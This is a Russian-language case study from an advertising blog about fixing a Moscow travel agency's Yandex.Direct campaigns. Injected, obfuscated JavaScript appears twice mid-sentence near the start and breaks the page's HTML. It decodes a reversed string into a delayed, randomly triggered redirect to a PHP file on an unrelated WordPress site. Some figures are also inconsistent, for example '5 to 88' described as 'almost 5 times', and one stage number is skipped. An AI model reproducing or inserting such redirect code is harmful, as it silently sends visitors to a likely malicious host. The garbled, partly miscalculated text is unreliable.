Туристическое агентство в Москве. Специализация стандартная — подбор и продажа туров по разным направлениям. Рекламная кампания в Директе была разработана по весьма конкурентными и не релевантным фразам. Были допущены $mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour.jpg»>{if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tour.jpg» alt=»кейс по контексту для турфирмы» width=»818″ height=»533″/></a></p><p>Цель — увеличить количество обращений через сайт с помощью контекстной рекламы и снизить их стоимость.</p><p>Клиент жаловался, что рекламный бюджет сливается в минус, обращения есть, но их крайне мало. Вложения в рекламу не окупаются, очень большой процент из заявок не доходит до офиса. Мы провели аудит кампаний клиента и выявили немало проблем.</p><p>Основные причины слива бюджета:</p><ol><li>Все объявления были составлены автоматически</li><li>Грамматические ошибки в текстах</li><li>Отсутствие привлекательного УТП</li><li>Нерелевантная посадочная страница</li><li>На 1 объявление вешались десятки ключевых слов</li><li>Отсутствие операторов соответствия</li><li>Низкие ставки</li></ol><p>Как следствие данных ошибок:</p><ul><li>Отторжение от объявлений в поиске из-за элементарной безграмотности</li><li>Снижение CTR, рост ставок</li><li>Почти нулевая конверсия из-за нерелвантного запросу предложения на странице сайта</li><li>Невозможность вести нормально аналитику и оптимизировать кампанию для улучшения финансовых показателей</li><li>Получение нецелевого трафика, который приходил по ВЧ-СЧ запросам без операторов</li><li>В работе были 5% от всех объявлений, так как по остальным установленной ставки тупо не хватало даже для показа в гарантии</li></ul><p>Конечно, это далеко не все ошибки и их последствия, но основные из них. Вполне стандартный набор для представителя среднего бизнеса, который зажал денег на настройку качественной кампании.</p><p>В головах наших ИП никак не отложится, что за хорошую рекламу нужно заплатить нормальные деньги, а не нанять школьников на фрилансе за копейку или еще хуже — найти «крутое» агентство, которое работает на потоке и заинтересовано в сливе больших бюджетов своих клиентов.</p><p>ContextProfy — это вовсе не агентство, как вы могли сейчас подумать. Это своего рода блог-портфолио небольшой команды профессионалов в контекстной рекламе. Здесь к каждому клиенту относятся, как к близкому товарищу, чтобы слава о нас передавалась из уст в уста, только так.</p><h2>Что было сделано для исправления текущих проблем заказчика</h2><p><strong>Этап 1. Создали новую семантику, оставив только конверсионные запросы.</strong> Это главное, что нужно делать в убыточной кампании — убирать околотематические запросы, которые совсем холодные. Оставляем только самый жир, чтобы сразу получить заявки.</p><p><strong>Этап 2. Погружение в бизнес заказчика, изучение целевой аудитории, выявление их болей.</strong> Это все позволило создать хорошее торговое предложение, которое впоследствии дало хороший CTR и снизило ставку.</p><p><strong>Этап 3. Подобрали релевантные страницы под семантическое ядро.</strong> Там где их не было, создали новые посадочные. Это самый важный пункт. Если у вас супер рекламная кампания, но вы всех шлете на одну страницу с одним предложением, то будьте уверены — вы сольете свой бюджет.</p><p>В нашем случае по запросу <em>«горящие туры в грецию»</em> человек попадал на страницу с общим поиском и видел туры в другие страны. Там не было ни слова про Грецию, поэтому он закрывал страницу и уходил с сайта. Поэтому были созданы посадочные конкретно под запрос пользователя, он видел список туров именно по его направлению.</p><p><strong>Этап 5. Создание рекламной кампании по принципу 1 ключ — 1 объявление.</strong> Настройка быстрых ссылок, визитки, уточнений и остальные технические моменты. Была разработана кампания под поиск для горячей аудитории и для РСЯ с ретаргетингом для отлова той же аудитории, но уже более низким ценам.</p><p><strong>Этап 6. Настройка аналитики.</strong> Установка Метрики, интеграция с Директом, согласование целей с заказчиком, установка их на сайте.</p><p>На все про все ушло около 5 рабочих дней. После кампании были запущены и получили хорошую статистику, которую вы можете увидеть ниже.</p><h2>Результаты клиента до обращения в ContextProfy</h2><p>До обращения, у клиента наблюдалась очень печальная статистика. Если с поисковой рекламной кампании заявки были, то с тематических площадок (РСЯ) ни одной. Ниже можете наблюдать скрины статистики клиентских РК за 1 месяц — с 14 сентября по 14 октября.</p><p>Поиск — 19 заявок по 423 рубля.</p><p><a href=)
РСЯ — 1 793 рубля слито в пустую.
Клиент потратил 9 845 руб за месяц и получил 19 заявок по цене 518 руб за каждую.
Результаты после проделанной работы
Прошла неделя после разработки и запуска новых рекламных кампаний, а результат уже впечатляет. Можете убедиться на деле.
Поиск — 31 заявка по 156 руб.
РСЯ — 57 лидов по 49 руб.
Теперь клиент платит 87 руб. за заявку в общем по двум кампаниям. Рост CTR, как вы можете видеть на скринах до и после работы, существенно вырос. Рекламный суточный бюджет увеличен, что позволяет клиенту получить гораздо больше заявок, что и требовалось.
Общие результаты по клиенту оказались следующими:
- Рост заявок — с 5 до 88 в неделю — почти в 5 раз больше
- Снижение цены лида — с 518 до 87 рублей — в 6 раз меньше
- Рост конверсии — с 1,35% до 13,9% — в 10 раз больше
Важно понимать, что это лишь лиды — обращения людей, заинтересованных в покупке тура. Это еще не значит, что за неделю будет 88 продаж. Но тут уже все зависит от умения продажников в турагентстве клиента.
Наша задача — увеличить количество обращений и снизить их стоимость — выполнена!
Могу заметить, что это одни из лучших результатов за последнее время. Если у вас есть вопросы, задавайте в комментариях. Появилось желание заказать контекстную рекламу — вам сюда.